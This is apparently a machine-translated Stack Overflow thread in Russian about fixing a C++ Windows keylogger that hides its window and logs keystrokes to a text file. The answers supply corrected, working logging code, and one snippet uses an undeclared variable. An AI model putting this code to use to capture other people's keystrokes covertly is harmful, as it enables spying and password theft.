Windows — C ++ кейлоггер не работает правильно

Я был посетителем stackoverflow в течение достаточно долгого времени, и это мой первый вопрос на этом сайте 🙂
Я пытаюсь написать кейлоггер, который будет сохранять нажатия клавиш в текстовом файле .txt, но проблема заключается в следующем. Я проверяю выходные данные cmd.exe с помощью cout и вижу, что он работает нормально, но когда я открываю файл LOG.txt, я вижу, что программа печатает abcdefgh как 012345678. Только эти некапитальные буквы не работают. Каждый другой ключ печатается правильно внутри файла.
Вот моя основная функция:

int main()
{
Stealth();
//Focus();
char i;
while (1)
{
for(i = 8; i <= 255; i++){
if (GetAsyncKeyState(i) == -32767){
i=_getch();
cout << i << endl;
Save(i,"LOG.txt");
}
}
}
system("pause");
return 0;
}

Функция сохранения:

int Save(int key, char *file)
{
FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");
*(determining special conditions like ENTER,SPACE...)*
*...*
*...*
else
fprintf(OUTPUT_FILE, "%s", &key);
fclose(OUTPUT_FILE);
return 0;
}

2

Решение

Пока я вижу одну неправильную вещь и пару вещей, которые я бы сделал по-другому. Во-первых, я не думаю, что я бы открывал и закрывал файл каждый раз, когда он пишет один символ.

Во-вторых (неправильно неправильно), вы звоните fprintf указание строки %s и давая ему целочисленный указатель &key, Легкое исправление должно быть fprintf(OUTPUT_FILE, "%c", (char)key)хотя существуют гораздо более элегантные решения для размещения одного символа, т.е. putc,

2

Другие решения

ИМХО, у вас есть одна серьезная проблема в этом коде: вы используете i в качестве индекса цикла, и измените его значение в цикле.

Другая проблема заключается в том, что ваш Save функция совершенно неверна.

На моем собственном ящике следующий код правильно отображает нажатые клавиши и записывает их в файл LOG.txt :

int Save(int key, char *file)
{
FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a");
fprintf(OUTPUT_FILE, " %c (%02x)", key, key);
fclose(OUTPUT_FILE);
return 0;
}

int main()
{
//Stealth();
//Focus();
char i;

// truncate log file
fd = fopen("LOG.txt", "w");
fclose(fd);
while (1)
{
for(i = 8; i <= 255; i++){
if (GetAsyncKeyState(i) == -32767){
//i=_getch();
cout << i << endl;
Save(i,"LOG.txt");
}
}
}
// system("pause"); never used ...
return 0;
}

Конечно, я должен нажать Ctrl-C или Ctrl-Break, чтобы остановить программу, и не буквенно-цифровые клавиши показывают странные символы …

Но когда я ввожу ABCDEFGH012345678, а затем Ctrl-C (не используя клавиатуру для цифр), я получаю, как и ожидалось, в LOG.txt:

A (41) B (42) C (43) D (44) E (45) F (46) G (47) H (48) 0 (30) 1 (31) 2 (32) 3 (33) 4 ( 34) 5 (35) 6 (36) 7 (37) 8 (38). (11)

Последний символ представляет собой Ctrl, который является здесь точкой . но на самом деле это квадрат …

0

По вопросам рекламы [email protected]